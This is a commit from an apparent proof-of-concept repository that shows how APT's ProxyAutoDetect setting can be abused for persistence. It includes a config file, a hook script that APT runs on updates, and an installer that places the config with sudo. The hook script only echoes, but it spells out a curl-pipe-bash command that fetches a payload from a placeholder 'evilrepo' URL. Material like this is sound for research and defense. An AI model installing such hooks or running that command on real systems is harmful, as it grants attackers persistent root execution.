first commit

This commit is contained in:
2025-06-20 15:31:27 +00:00
commit 1a9b47a7a2
5 changed files with 116 additions and 0 deletions

2
poc/30detectproxy Normal file
View File

@@ -0,0 +1,2 @@
// Demonstration of ProxyAutoDetect persistence
Acquire::http::ProxyAutoDetect "/absolute/path/to/detect-http-proxy";

10
poc/detect-http-proxy Normal file
View File

@@ -0,0 +1,10 @@
#!/bin/bash
# This script is executed automatically by APT when Acquire::http::ProxyAutoDetect is configured.
# It demonstrates how a threat actor could abuse this feature to execute arbitrary commands.
echo "http://127.0.0.1:8888" # stdout is interpreted as the proxy address
# Simulated threat actor behavior
echo "If I was a threat actor, I might do something like:" >&2
echo "/usr/bin/curl -fsSk https://raw.githubusercontent.com/threatactor/evilrepo/main/install.sh | bash" >&2

13
poc/install.sh Normal file
View File

@@ -0,0 +1,13 @@
#!/bin/bash
set -e
BIN_PATH="$(pwd)/detect-http-proxy"
CONF_PATH="/etc/apt/apt.conf.d/30detectproxy"
echo "[*] Installing detect-http-proxy to ${BIN_PATH}"
chmod +x detect-http-proxy
echo "[*] Copying APT config to ${CONF_PATH}"
sudo cp 30detectproxy $CONF_PATH
echo "[*] Done. Now run: sudo apt update"